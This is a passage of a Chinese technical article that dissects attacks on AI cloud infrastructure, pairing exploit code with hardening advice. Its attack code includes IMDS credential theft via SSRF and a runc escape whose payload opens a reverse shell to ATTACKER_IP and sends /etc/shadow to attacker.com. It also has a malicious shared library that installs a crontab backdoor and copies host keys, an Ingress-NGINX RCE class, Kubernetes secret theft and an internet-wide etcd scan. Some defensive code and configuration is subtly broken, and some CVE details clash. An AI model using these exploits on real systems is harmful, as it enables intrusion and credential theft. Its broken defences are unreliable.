0. 背景:AI 基础设施面临的云安全威胁

2025-2026 年,AI 基础设施成为云攻击的首要目标。Capital One 数据泄露事件揭示了 IMDS 滥用的破坏力;NVIDIA Container Toolkit 逃逸("NVIDIAScape")影响 37% 的云 GPU 环境;runc 连环漏洞被 APT 在野利用;Kubernetes 攻击同比增长 282%。

本文从攻击者视角完整拆解 AI 基础设施的攻击链,并给出对应的防御检测方案。

┌──────────────────────────────────────────────────────────────────┐
│              AI 基础设施攻击链全景                                 │
│                                                                  │
│  初始入侵          横向移动          权限提升          目标达成     │
│  ┌─────────┐    ┌──────────┐    ┌──────────┐    ┌──────────┐     │
│  │SSRF漏洞  │───→│IMDS凭证  │───→│IAM角色   │───→│S3数据窃取│     │
│  │容器逃逸  │───→│SA Token  │───→│K8s集群   │───→│模型窃取  │     │
│  │镜像投毒  │───→│etcd暴露  │───→│云账户    │───→│挖矿持久化│     │
│  └─────────┘    └──────────┘    └──────────┘    └──────────┘     │
│                                                                  │
│  核心攻击面:                                                     │
│  ① 云元数据服务 (IMDS)  ② 容器运行时 (runc/Docker)               │
│  ③ 编排系统 (K8s)       ④ GPU基础设施 (NVIDIA Toolkit)            │
│  ⑤ API网关 (Ingress)    ⑥ 存储层 (etcd)                           │
└──────────────────────────────────────────────────────────────────┘

1. 云元数据服务(IMDS)滥用攻击链

1.1 IMDS 原理与攻击面

IMDS(Instance Metadata Service)位于 169.254.169.254,提供实例配置信息和临时 IAM 凭证,是云环境最高价值目标之一。

云厂商 端点 认证要求 凭证路径
AWS http://169.254.169.254/latest/meta-data/ IMDSv1 无需认证 /iam/security-credentials/<role-name>
Azure http://169.254.169.254/metadata/instance Metadata: true /identity/oauth2/token
GCP http://metadata.google.internal Metadata-Flavor: Google /computeMetadata/v1/instance/service-accounts/default/token

1.2 IMDSv1 SSRF 攻击链复现

"""
IMDS 滥用攻击链复现 — 仅用于授权测试环境
模拟 Capital One 式攻击: SSRF → IMDS → IAM 凭证 → S3 数据窃取
"""
import requests
import json
from urllib.parse import quote

class IMDSAttackChain:
    """IMDS 滥用攻击链仿真器"""
    
    def __init__(self, target_url: str):
        """
        target_url: 存在 SSRF 漏洞的目标应用 URL
        """
        self.target = target_url
        self.imds_endpoint = "169.254.169.254"
        self.credentials = None
    
    def step1_ssrf_to_imds(self) -> dict:
        """步骤 1: 通过 SSRF 访问 IMDS"""
        # 构造 SSRF payload
        # 场景: 目标应用的 URL 预览功能存在 SSRF
        ssrf_payload = f"http://{self.imds_endpoint}/latest/meta-data/"
        
        # 通过目标应用的 SSRF 漏洞转发请求
        params = {"url": ssrf_payload}
        response = requests.get(self.target, params=params, timeout=10)
        
        if response.status_code == 200:
            # IMDSv1 不需要任何额外头即可访问
            metadata_paths = response.text.strip().split("\n")
            return {
                "step": "ssrf_to_imds",
                "status": "success",
                "available_paths": metadata_paths,
                "imds_version": "v1 (no auth required)"
            }
        return {"step": "ssrf_to_imds", "status": "failed"}
    
    def step2_extract_iam_role(self) -> str:
        """步骤 2: 提取实例关联的 IAM 角色名"""
        ssrf_payload = f"http://{self.imds_endpoint}/latest/meta-data/iam/security-credentials/"
        params = {"url": ssrf_payload}
        response = requests.get(self.target, params=params, timeout=10)
        
        role_name = response.text.strip()
        return role_name
    
    def step3_steal_credentials(self, role_name: str) -> dict:
        """步骤 3: 窃取临时 IAM 凭证"""
        ssrf_payload = f"http://{self.imds_endpoint}/latest/meta-data/iam/security-credentials/{role_name}"
        params = {"url": ssrf_payload}
        response = requests.get(self.target, params=params, timeout=10)
        
        creds = response.json()
        self.credentials = {
            "AccessKeyId": creds["AccessKeyId"],
            "SecretAccessKey": creds["SecretAccessKey"],
            "Token": creds["Token"],
            "Expiration": creds["Expiration"]
        }
        return self.credentials
    
    def step4_lateral_to_s3(self, bucket_name: str) -> list:
        """步骤 4: 使用窃取的凭证访问 S3 桶"""
        import boto3
        
        session = boto3.Session(
            aws_access_key_id=self.credentials["AccessKeyId"],
            aws_secret_access_key=self.credentials["SecretAccessKey"],
            aws_session_token=self.credentials["Token"]
        )
        s3 = session.client("s3")
        
        # 列出桶内容
        objects = s3.list_objects_v2(Bucket=bucket_name)
        return [obj["Key"] for obj in objects.get("Contents", [])]
    
    def run_full_chain(self, bucket_name: str = None):
        """执行完整攻击链"""
        print("[*] Step 1: SSRF → IMDS")
        step1 = self.step1_ssrf_to_imds()
        print(f"    Available paths: {step1.get('available_paths', [])}")
        
        print("[*] Step 2: Extract IAM Role")
        role = self.step2_extract_iam_role()
        print(f"    Role: {role}")
        
        print("[*] Step 3: Steal Temporary Credentials")
        creds = self.step3_steal_credentials(role)
        print(f"    AccessKeyId: {creds['AccessKeyId']}")
        print(f"    Expiration: {creds['Expiration']}")
        
        if bucket_name:
            print("[*] Step 4: Lateral Movement to S3")
            objects = self.step4_lateral_to_s3(bucket_name)
            print(f"    Found {len(objects)} objects in {bucket_name}")
            return {"role": role, "credentials": creds, "s3_objects": objects}
        
        return {"role": role, "credentials": creds}


# === 防御: IMDSv2 强制 token 认证 ===
class IMDSv2Protection:
    """IMDSv2 防御配置验证器"""
    
    @staticmethod
    def verify_imdsv2_enabled(ec2_client) -> dict:
        """验证所有 EC2 实例已启用 IMDSv2"""
        instances = ec2_client.describe_instances()
        results = []
        
        for reservation in instances["Reservations"]:
            for instance in reservation["Instances"]:
                imds = instance.get("MetadataOptions", {})
                results.append({
                    "instance_id": instance["InstanceId"],
                    "http_tokens": imds.get("HttpTokens", "unknown"),
                    # "optional" = IMDSv1 仍然可用 (危险)
                    # "required" = 强制 IMDSv2 (安全)
                    "http_endpoint": imds.get("HttpEndpoint", "unknown"),
                    "hop_limit": imds.get("HttpPutResponseHopLimit", 1),
                    "vulnerable": imds.get("HttpTokens") != "required"
                })
        
        vulnerable = [r for r in results if r["vulnerable"]]
        return {
            "total_instances": len(results),
            "vulnerable_count": len(vulnerable),
            "vulnerable_instances": vulnerable,
            "recommendation": "Set HttpTokens=required on all instances"
        }
    
    @staticmethod
    def block_imds_via_network_policy():
        """K8s NetworkPolicy 阻断 Pod 访问 IMDS"""
        return {
            "apiVersion": "networking.k8s.io/v1",
            "kind": "NetworkPolicy",
            "metadata": {
                "name": "block-imds-access",
                "namespace": "default"
            },
            "spec": {
                "podSelector": {},
                "policyTypes": ["Egress"],
                "egress": [
                    {
                        "to": [
                            {
                                "ipBlock": {
                                    "cidr": "10.0.0.0/8",
                                    "except": ["169.254.169.254/32"]
                                }
                            }
                        ]
                    },
                    {
                        "to": [
                            {"ipBlock": {"cidr": "172.16.0.0/12",
                              "except": ["169.254.169.254/32"]}}
                        ]
                    }
                ]
            }
        }

1.3 IMDSv1 vs IMDSv2 对比

维度 IMDSv1 IMDSv2
认证 无需认证 需要 PUT 请求获取 session token
攻击难度 简单 SSRF 即可 需要 SSRF + 支持 PUT 方法
Token 有效期 最长 6 小时(实例控制)
Hop Limit 无限制 默认 1 跳(阻断容器内访问)
AWS 推荐 已弃用 强制使用

2. runc 容器逃逸三连击

2.1 漏洞概览

2025 年 11 月,runc 连续披露三个高危容器逃逸漏洞,均通过自定义挂载配置触发:

CVE CVSS 原理 在野利用
CVE-2025-31133 7.3 masked path 滥用 + 挂载竞态 APT 在野利用,CVSS 标记 10.0
CVE-2025-52565 7.3 /dev/console bind-mount 漏洞
CVE-2025-52881 7.3 绕过 LSM 检查

修复版本:runc v1.2.8 / v1.3.3 / v1.4.0-rc.3

2.2 CVE-2025-31133 根因分析

┌────────────────────────────────────────────────────────────────┐
│           CVE-2025-31133: runc masked path 滥用                 │
│                                                                │
│  正常流程:                                                      │
│  ┌──────────┐    bind-mount     ┌──────────────┐               │
│  │ /dev/null │ ──────────────→  │ /proc/sys/... │  (只读保护)   │
│  │ (runc设置)│                  │ masked path   │               │
│  └──────────┘                  └──────────────┘               │
│                                                                │
│  攻击流程:                                                      │
│  ┌──────────┐    symlink        ┌──────────────┐               │
│  │ /dev/null │ ──→ symlink ──→  │ /proc/sys/   │  (读写!)      │
│  │ (攻击者改)│    替换为符号链接  │ kernel/core_ │              │
│  └──────────┘                  │ pattern      │              │
│                                └──────────────┘               │
│                                       │                        │
│                                       ▼                        │
│  runc 以 root 身份 bind-mount 符号链接目标 (读写模式)             │
│  → 攻击者获得对 /proc/sys/kernel/core_pattern 的写权限           │
│  → 写入恶意管道命令                                              │
│  → 下次崩溃时以 root 执行任意命令 = 完整逃逸                      │
└────────────────────────────────────────────────────────────────┘

2.3 PoC 复现

# CVE-2025-31133 PoC — 仅用于授权测试
# 利用 Dockerfile 的 RUN --mount=... 功能

FROM ubuntu:22.04

# 构造恶意挂载: 将 /dev/null 替换为指向 /proc/sys/kernel/core_pattern 的符号链接
RUN --mount=type=bind,source=/dev/null,target=/tmp/exploit \
    ln -sf /proc/sys/kernel/core_pattern /tmp/exploit

# runc 在执行 RUN 指令时:
# 1. 读取 mount 配置,发现 target=/tmp/exploit
# 2. 准备 bind-mount /dev/null → /tmp/exploit
# 3. 但 /tmp/exploit 已是符号链接,指向 /proc/sys/kernel/core_pattern
# 4. runc 跟随符号链接,以读写模式 mount 到 /proc/sys/kernel/core_pattern
# 5. 攻击者现在可以写入 core_pattern 实现逃逸

# 写入恶意 core_pattern
RUN echo '|/tmp/payload.sh %p %E' > /proc/sys/kernel/core_pattern

# 触发崩溃以执行 payload
RUN bash -c 'kill -SEGV $$'
"""
CVE-2025-31133 完整利用链 — Python 仿真
用于理解漏洞原理,仅限授权测试
"""
import subprocess
import os
import signal
import time

class RuncEscapeCVE202531133:
    """runc 容器逃逸仿真器"""
    
    def __init__(self, container_name: str = "vuln-test"):
        self.container = container_name
        self.host_core_pattern = "/proc/sys/kernel/core_pattern"
    
    def check_vulnerable(self) -> bool:
        """检查 runc 版本是否受影响"""
        result = subprocess.run(
            ["runc", "--version"],
            capture_output=True, text=True
        )
        version_line = result.stdout.split("\n")[0]
        # 受影响版本: runc < 1.2.8, < 1.3.3
        # 简化判断逻辑
        if "1.2." in version_line or "1.3." in version_line:
            parts = version_line.split()
            if len(parts) >= 2:
                version = parts[2]  # "1.2.7"
                major, minor, patch = map(int, version.split("."))
                if (major, minor, patch) < (1, 2, 8):
                    return True
                if (major, minor) == (1, 3) and patch < 3:
                    return True
        return False
    
    def prepare_exploit(self):
        """准备逃逸 payload"""
        payload_script = """#!/bin/bash
# payload.sh — 在宿主机以 root 执行
# 通过 core_pattern 触发
TARGET_PID=$1
BINARY=$2

# 反弹 shell 到攻击者控制的服务器
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# 或者直接操作宿主机文件系统
# echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
# cat /etc/shadow > /tmp/shadow_exfil
# curl http://attacker.com/exfil -d @/etc/shadow
"""
        with open("/tmp/payload.sh", "w") as f:
            f.write(payload_script)
        os.chmod("/tmp/payload.sh", 0o755)
    
    def trigger_escape(self):
        """触发逃逸"""
        # 步骤 1: 通过符号链接替换 /dev/null
        # (已在 Dockerfile 中完成)
        
        # 步骤 2: 写入恶意 core_pattern
        # core_pattern 格式: |路径 参数
        # %p = 崩溃进程 PID, %E = 可执行文件路径
        with open(self.host_core_pattern, "w") as f:
            f.write("|/tmp/payload.sh %p %E\n")
        
        # 步骤 3: 触发段错误,内核执行 core_pattern 中的命令
        # 此时 payload.sh 以 root (uid 0) 在宿主机命名空间执行
        os.kill(os.getpid(), signal.SIGSEGV)
    
    def cleanup(self):
        """清理痕迹"""
        try:
            with open(self.host_core_pattern, "w") as f:
                f.write("core\n")  # 恢复默认值
            os.remove("/tmp/payload.sh")
        except:
            pass


# === 防御: runc 版本检测 ===
class RuncSecurityCheck:
    """runc 安全检查工具"""
    
    @staticmethod
    def check_version():
        """检查 runc 版本是否已修复"""
        result = subprocess.run(
            ["runc", "--version"],
            capture_output=True, text=True
        )
        print(f"runc version: {result.stdout}")
        
        # 修复版本矩阵
        fixed_versions = {
            "1.2": "1.2.8",
            "1.3": "1.3.3",
            "1.4": "1.4.0-rc.3"
        }
        
        for branch, fixed in fixed_versions.items():
            print(f"  Branch {branch}: fixed in {fixed}")
    
    @staticmethod
    def check_dangerous_mounts():
        """检查 Dockerfile 中的危险挂载"""
        dangerous_patterns = [
            "RUN --mount=type=bind,source=/dev/null",
            "RUN --mount=type=bind,source=/proc",
            "RUN --mount=type=bind,source=/sys",
        ]
        
        # 扫描项目中的所有 Dockerfile
        import glob
        for dockerfile in glob.glob("**/Dockerfile*", recursive=True):
            with open(dockerfile) as f:
                content = f.read()
                for pattern in dangerous_patterns:
                    if pattern in content:
                        print(f"[!] {dockerfile}: dangerous mount pattern found")
                        print(f"    Pattern: {pattern}")

2.4 CVE-2025-52881:LSM 绕过

"""
CVE-2025-52881: 绕过 LSM (Linux Security Module) 检查
使 /proc/self/attr/<label> 引用真实 procfs 文件
"""

# 攻击原理:
# 1. runc 在设置容器 SELinux/AppArmor 标签时写入 /proc/self/attr/exec
# 2. 攻击者通过符号链接将 /proc/self/attr/exec 指向:
#    - /proc/sysrq-trigger → 主机崩溃 (DoS)
#    - /proc/sys/kernel/core_pattern → 完整逃逸
# 3. runc 的 LSM 检查认为写入的是 attr 文件,不做额外验证

# 防御: Pod Security Admission
psa_restricted_policy = """
apiVersion: v1
kind: Namespace
metadata:
  name: ai-workloads
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted
---
# Restricted PSA 禁止:
# - privileged: true
# - hostPath volumes
# - hostPID, hostIPC, hostNetwork
# - root 用户 (runAsNonRoot: true)
# - 不安全的 procfs 挂载
apiVersion: v1
kind: Pod
metadata:
  name: ai-inference-safe
  namespace: ai-workloads
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 2000
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: inference
    image: ai-model:v1.2.3@sha256:abc123...  # 使用 digest 而非 latest
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop: ["ALL"]
    resources:
      limits:
        memory: "16Gi"
        cpu: "4"
        nvidia.com/gpu: 1
    volumeMounts:
    - name: tmp
      mountPath: /tmp
    - name: model-cache
      mountPath: /models
      readOnly: true
  volumes:
  - name: tmp
    emptyDir: {}
  - name: model-cache
    persistentVolumeClaim:
      claimName: model-pvc-readonly
"""

3. NVIDIA Container Toolkit 逃逸(NVIDIAScape)

3.1 漏洞概述

CVE CVSS 影响版本 影响
CVE-2025-23266 高危 Toolkit < v1.17.8, GPU Operator < v25.3.1 37% 云 GPU 环境受影响
CVE-2024-0132 9.0 2024年9月披露 TOCTOU 竞态条件

3.2 CVE-2025-23266 PoC

# CVE-2025-23266 PoC — 仅用于授权测试
# 利用 OCI hooks 在主机以 root 运行的特性

FROM nvidia/cuda:12.0-base

# 恶意共享库 — 将在容器启动时被主机 root 进程加载
COPY poc.so /tmp/poc.so

# LD_PRELOAD 注入: toolkit 的 hook 进程(主机 root)会加载此库
ENV LD_PRELOAD=/tmp/poc.so
// poc.c — 恶意共享库源码
// 编译: gcc -shared -fPIC -o poc.so poc.c -ldl

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

// constructor 属性: 库被加载时自动执行
__attribute__((constructor))
void on_load() {
    // 此时运行在 NVIDIA Container Toolkit 的 hook 进程中
    // 该进程以主机 root 身份运行
    
    pid_t pid = fork();
    if (pid == 0) {
        // 子进程: 执行逃逸 payload
        
        // 1. 挂载宿主机根文件系统
        system("mkdir -p /tmp/host_root");
        system("mount /dev/sda1 /tmp/host_root 2>/dev/null || "
               "mount /dev/nvme0n1p1 /tmp/host_root 2>/dev/null || "
               "mount /dev/vda1 /tmp/host_root 2>/dev/null");
        
        // 2. 写入持久化后门
        system("echo '* * * * * root /bin/bash -c "
               "\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"' "
               ">> /tmp/host_root/etc/crontab");
        
        // 3. 窃取宿主机凭证
        system("cat /tmp/host_root/etc/shadow > /tmp/shadow_exfil");
        system("cat /tmp/host_root/var/lib/kubelet/pki/kubelet.key "
               "> /tmp/kubelet_key_exfil 2>/dev/null");
        
        // 4. 窃取 AI 模型权重
        system("find /tmp/host_root -name '*.safetensors' -o -name '*.bin' "
               "-o -name 'pytorch_model*' | head -10 > /tmp/model_paths");
        
        _exit(0);
    }
    // 父进程: 继续正常执行,不引起怀疑
}

3.3 防御方案

#!/bin/bash
# NVIDIA Container Toolkit 安全加固脚本

# 1. 检查并升级版本
echo "[*] Checking NVIDIA Container Toolkit version..."
nvidia-ctk --version
# 修复版本: >= 1.17.8
# 升级: apt-get update && apt-get install nvidia-container-toolkit=1.17.8-1

# 2. 禁用 LD_PRELOAD (如果可能)
# 在 NVIDIA Container Toolkit 配置中
cat > /etc/nvidia-container-runtime/config.toml << 'EOF'
[nvidia-container-cli]
# 禁止通过 LD_PRELOAD 注入
loading =
disable-require = false
# 仅允许特定挂载
no-cgroups = false
# 验证所有 hook
verify-hooks = true
EOF

# 3. 使用 Pod Security Admission 限制
kubectl label namespace gpu-workloads \
  pod-security.kubernetes.io/enforce=restricted

# 4. 使用 seccomp profile 限制系统调用
cat > /tmp/nvidia-seccomp.json << 'SECCOMP'
{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": ["SCMP_ARCH_X86_64"],
  "syscalls": [
    {
      "names": [
        "read", "write", "open", "openat", "close", "mmap",
        "mprotect", "munmap", "brk", "rt_sigaction", "rt_sigprocmask",
        "ioctl", "pread64", "pwrite64", "readv", "writev",
        "access", "pipe", "select", "sched_yield", "mremap",
        "msync", "mincore", "madvise", "shmget", "shmat", "shmctl",
        "dup", "dup2", "pause", "nanosleep", "getitimer", "alarm",
        "setitimer", "getpid", "sendfile", "socket", "connect",
        "accept", "sendto", "recvfrom", "sendmsg", "recvmsg",
        "shutdown", "bind", "listen", "getsockname", "getpeername",
        "socketpair", "setsockopt", "getsockopt", "clone", "fork",
        "vfork", "execve", "exit", "wait4", "kill", "uname",
        "fcntl", "flock", "fsync", "fdatasync", "truncate", "ftruncate",
        "getdents", "getcwd", "chdir", "fchdir", "rename", "mkdir",
        "rmdir", "creat", "link", "unlink", "symlink", "readlink",
        "chmod", "fchmod", "chown", "fchown", "lchown", "umask",
        "gettimeofday", "getrlimit", "getrusage", "sysinfo"
      ],
      "action": "SCMP_ACT_ALLOW"
    }
  ]
}
SECCOMP

4. Kubernetes 编排漏洞攻击链

4.1 高危 K8s CVE 汇总

CVE 组件 CVSS 说明
CVE-2025-1974 Ingress-NGINX 9.8 IngressNightmare,未认证 RCE,影响 43% 云环境
CVE-2024-21626 runc 8.6 Leaky Vessels,影响 80% 云环境,勒索团伙在野利用
CVE-2025-1176 etcd 9.5 默认未启用 TLS 认证,暴露 2379 端口直接访问集群数据

4.2 IngressNightmare(CVE-2025-1974)攻击链

"""
CVE-2025-1974: Ingress-NGINX AdmissionReview 注入
攻击者构造恶意 AdmissionReview 请求,在 ingress-nginx controller 中执行任意代码
"""
import requests
import json
import base64
from kubernetes import client, config

class IngressNightmareExploit:
    """IngressNightmare 漏洞利用仿真器"""
    
    def __init__(self, webhook_url: str):
        """
        webhook_url: ingress-nginx validating webhook 的 URL
        通常为: https://<ingress-nginx-controller>:8443/extensions/ingress
        """
        self.webhook_url = webhook_url
    
    def craft_malicious_admission_review(self, payload_cmd: str) -> dict:
        """构造恶意 AdmissionReview 请求"""
        
        # 将 payload 嵌入到 Ingress 资源的 annotation 中
        # ingress-nginx controller 会解析这些 annotation 并执行 nginx 配置渲染
        # 通过配置注入实现 RCE
        
        malicious_ingress = {
            "apiVersion": "networking.k8s.io/v1",
            "kind": "Ingress",
            "metadata": {
                "name": "legitimate-ingress",
                "namespace": "default",
                "annotations": {
                    # 通过 nginx 配置注入执行命令
                    "nginx.ingress.kubernetes.io/configuration-snippet": f"""
                        # 注入的恶意配置
                        lua_need_request_body off;
                        access_by_lua_block {{
                            os.execute("{payload_cmd}")
                        }}
                    """,
                    # 或者通过 server-snippet 注入
                    "nginx.ingress.kubernetes.io/server-snippet": f"""
                        location /healthz {{
                            content_by_lua_block {{
                                os.execute("{payload_cmd}")
                            }}
                        }}
                    """
                }
            },
            "spec": {
                "rules": [{
                    "host": "legitimate.example.com",
                    "http": {
                        "paths": [{
                            "path": "/",
                            "pathType": "Prefix",
                            "backend": {
                                "service": {
                                    "name": "frontend",
                                    "port": {"number": 80}
                                }
                            }
                        }]
                    }
                }]
            }
        }
        
        # 构造 AdmissionReview
        admission_review = {
            "apiVersion": "admission.k8s.io/v1",
            "kind": "AdmissionReview",
            "request": {
                "uid": "00000000-0000-0000-0000-000000000001",
                "kind": {"group": "networking.k8s.io", "version": "v1", "kind": "Ingress"},
                "resource": {
                    "group": "networking.k8s.io",
                    "version": "v1",
                    "resource": "ingresses"
                },
                "name": "legitimate-ingress",
                "namespace": "default",
                "operation": "CREATE",
                "userInfo": {
                    "username": "system:anonymous",
                    "groups": ["system:unauthenticated"]
                },
                "object": malicious_ingress,
                "oldObject": None,
                "dryRun": False,
                "options": {"kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1"}
            }
        }
        
        return admission_review
    
    def send_exploit(self, payload_cmd: str = "id > /tmp/pwned"):
        """发送恶意 AdmissionReview 到 webhook"""
        review = self.craft_malicious_admission_review(payload_cmd)
        
        # ingress-nginx webhook 不验证请求来源 (漏洞核心)
        # 攻击者无需认证即可直接访问
        response = requests.post(
            self.webhook_url,
            json=review,
            headers={"Content-Type": "application/json"},
            verify=False,  # webhook 使用自签证书
            timeout=10
        )
        
        return {
            "status_code": response.status_code,
            "response": response.json() if response.status_code == 200 else response.text,
            "payload_executed": response.status_code == 200
        }


# === 防御: IngressNightmare 缓解 ===
class IngressNightmareDefense:
    """IngressNightmare 防御配置"""
    
    @staticmethod
    def restrict_webhook_access():
        """限制 webhook 仅接受来自 API Server 的请求"""
        return {
            # ingress-nginx controller 启动参数
            "args": [
                "--validating-webhook-certificate=/usr/local/certificates/cert.pem",
                "--validating-webhook-key=/usr/local/certificates/key.pem",
                "--enable-ssl-chain-completion=false",
                "--validating-webhook=:8443",
                # 关键: 限制 webhook 仅接受来自 API Server 的连接
                "--watch-ingress-without-class=false",
            ],
            # NetworkPolicy 限制 webhook 端口
            "network_policy": {
                "apiVersion": "networking.k8s.io/v1",
                "kind": "NetworkPolicy",
                "metadata": {"name": "restrict-ingress-webhook"},
                "spec": {
                    "podSelector": {
                        "matchLabels": {"app.kubernetes.io/name": "ingress-nginx"}
                    },
                    "policyTypes": ["Ingress"],
                    "ingress": [{
                        "from": [{
                            "namespaceSelector": {
                                "matchLabels": {
                                    "kubernetes.io/metadata.name": "kube-system"
                                }
                            }
                        }],
                        "ports": [{"protocol": "TCP", "port": 8443}]
                    }]
                }
            }
        }
    
    @staticmethod
    def disable_lua_in_annotations():
        """禁用 annotation 中的 Lua 执行"""
        return {
            "nginx.ingress.kubernetes.io/enable-lua": "false",
            "nginx.ingress.kubernetes.io/allow-snippet-annotations": "false",
        }

4.3 ServiceAccount Token → 云 IAM 攻击链

"""
K8s ServiceAccount Token → 云 IAM 横向移动
在 EKS/GKE/AKS 中,K8s SA 通过 Workload Identity 映射到云 IAM 角色
"""

class SATokenToCloudIAM:
    """SA Token 到云 IAM 的攻击链仿真"""
    
    def __init__(self):
        self.sa_token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token"
        self.api_server = "https://kubernetes.default.svc"
        self.ca_cert = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
    
    def read_sa_token(self) -> str:
        """步骤 1: 读取容器内的 ServiceAccount Token"""
        with open(self.sa_token_path) as f:
            token = f.read().strip()
        
        # JWT 解码查看权限
        import base64
        parts = token.split(".")
        payload = base64.urlsafe_b64decode(parts[1] + "==")
        payload_json = json.loads(payload)
        
        print(f"[*] SA Token issuer: {payload_json.get('iss')}")
        print(f"[*] SA Token sub: {payload_json.get('sub')}")
        print(f"[*] SA Token aud: {payload_json.get('aud')}")
        
        return token
    
    def enumerate_permissions(self, token: str) -> dict:
        """步骤 2: 枚举 SA 权限"""
        import urllib.request
        
        # 使用 kubectl auth can-i --list 等效 API 调用
        url = f"{self.api_server}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
        body = json.dumps({
            "apiVersion": "authorization.k8s.io/v1",
            "kind": "SelfSubjectRulesReview",
            "spec": {"namespace": "default"}
        }).encode()
        
        req = urllib.request.Request(url, data=body, method="POST")
        req.add_header("Authorization", f"Bearer {token}")
        req.add_header("Content-Type", "application/json")
        
        # 禁用 SSL 验证 (集群内通信)
        import ssl
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        
        response = urllib.request.urlopen(req, context=ctx)
        rules = json.loads(response.read())
        
        # 分析危险权限
        dangerous_perms = []
        for rule in rules["status"]["resourceRules"]:
            verbs = rule.get("verbs", [])
            resources = rule.get("resources", [])
            
            if "*" in verbs:
                dangerous_perms.append({"rule": rule, "reason": "wildcard verb"})
            if "secrets" in resources:
                dangerous_perms.append({"rule": rule, "reason": "secrets access"})
            if "pods" in resources and "create" in verbs:
                dangerous_perms.append({"rule": rule, "reason": "can create pods"})
            if "clusterrolebindings" in resources:
                dangerous_perms.append({
                    "rule": rule,
                    "reason": "can modify RBAC = cluster admin"
                })
        
        return {
            "all_rules": rules["status"]["resourceRules"],
            "dangerous_permissions": dangerous_perms
        }
    
    def steal_secrets(self, token: str) -> list:
        """步骤 3: 窃取 K8s Secrets"""
        import urllib.request
        
        url = f"{self.api_server}/api/v1/namespaces/default/secrets"
        req = urllib.request.Request(url)
        req.add_header("Authorization", f"Bearer {token}")
        
        import ssl
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        
        response = urllib.request.urlopen(req, context=ctx)
        secrets = json.loads(response.read())
        
        stolen = []
        for secret in secrets.get("items", []):
            name = secret["metadata"]["name"]
            secret_type = secret["type"]
            data = secret.get("data", {})
            
            # 解码 base64 数据
            decoded = {}
            for key, value in data.items():
                decoded[key] = base64.b64decode(value).decode("utf-8", errors="replace")
            
            stolen.append({
                "name": name,
                "type": secret_type,
                "data_keys": list(decoded.keys())
            })
        
        return stolen
    
    def escalate_to_cloud(self, token: str, cloud: str = "aws"):
        """步骤 4: 通过 Workload Identity 横向到云 IAM"""
        
        if cloud == "aws":
            # EKS: SA token → AWS STS AssumeRoleWithWebIdentity
            import urllib.request
            
            # 1. 获取 AWS 角色 ARN (从 SA 注解或环境变量)
            role_arn = os.environ.get("AWS_ROLE_ARN")
            if not role_arn:
                print("[!] AWS_ROLE_ARN not found, checking SA annotations...")
                return None
            
            # 2. 使用 SA token 向 STS 换取 AWS 临时凭证
            url = (
                f"https://sts.amazonaws.com/"
                f"?Action=AssumeRoleWithWebIdentity"
                f"&Version=2011-06-15"
                f"&RoleArn={role_arn}"
                f"&RoleSessionName=exploit-session"
                f"&WebIdentityToken={token}"
            )
            
            req = urllib.request.Request(url, method="POST")
            response = urllib.request.urlopen(req)
            
            # 解析 AWS 凭证
            import xml.etree.ElementTree as ET
            root = ET.fromstring(response.read())
            creds = root.find(
                ".//{https://sts.amazonaws.com/doc/2011-06-15/}Credentials"
            )
            
            aws_creds = {
                "AccessKeyId": creds.find("AccessKeyId").text,
                "SecretAccessKey": creds.find("SecretAccessKey").text,
                "SessionToken": creds.find("SessionToken").text
            }
            
            print(f"[+] AWS credentials obtained!")
            print(f"    AccessKeyId: {aws_creds['AccessKeyId']}")
            return aws_creds
        
        elif cloud == "gcp":
            # GKE: SA token → GCP access token
            url = (
                "http://metadata.google.internal"
                "/computeMetadata/v1/instance/service-accounts/default/token"
            )
            req = urllib.request.Request(url)
            req.add_header("Metadata-Flavor", "Google")
            
            response = urllib.request.urlopen(req)
            token_data = json.loads(response.read())
            
            print(f"[+] GCP access token obtained!")
            return token_data

5. etcd 暴露攻击

5.1 CVE-2025-1176:etcd 未认证访问

#!/bin/bash
# etcd 暴露检测 — 仅用于授权测试

# 1. 扫描暴露的 etcd 端口 (2379)
masscan 0.0.0.0/0 -p 2379 --rate 5000 -oJ etcd_scan.json

# 2. 检测未认证访问
for ip in $(jq -r '.[].ip' etcd_scan.json); do
    echo "[*] Testing $ip:2379"
    
    # 尝试无认证访问
    response=$(curl -sk "http://$ip:2379/v2/keys/" 2>/dev/null)
    
    if echo "$response" | jq . >/dev/null 2>&1; then
        echo "[!] $ip:2379 - UNAUTHENTICATED ACCESS!"
        
        # 列出所有 key
        curl -sk "http://$ip:2379/v2/keys/?recursive=true" | jq .
        
        # 常见敏感 key:
        # /registry/secrets/default/<secret-name>
        # /registry/configmaps/kube-system/kubeadm-config
        # /registry/serviceaccounts/default/default
    fi
done

# 3. 提取凭证
# etcd 存储了 K8s 集群的所有状态,包括:
# - 所有 Secrets (base64 编码)
# - ServiceAccount Tokens
# - TLS 证书和私钥
# - ConfigMaps 中的敏感配置

5.2 etcd 加固

# 1. 启用 TLS 认证
# /etc/kubernetes/manifests/etcd.yaml
cat > /etc/kubernetes/manifests/etcd.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: etcd
  namespace: kube-system
spec:
  containers:
  - name: etcd
    command:
    - etcd
    - --cert-file=/etc/kubernetes/pki/etcd/server.crt
    - --key-file=/etc/kubernetes/pki/etcd/server.key
    - --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt
    - --peer-key-file=/etc/kubernetes/pki/etcd/peer.key
    - --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
    - --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
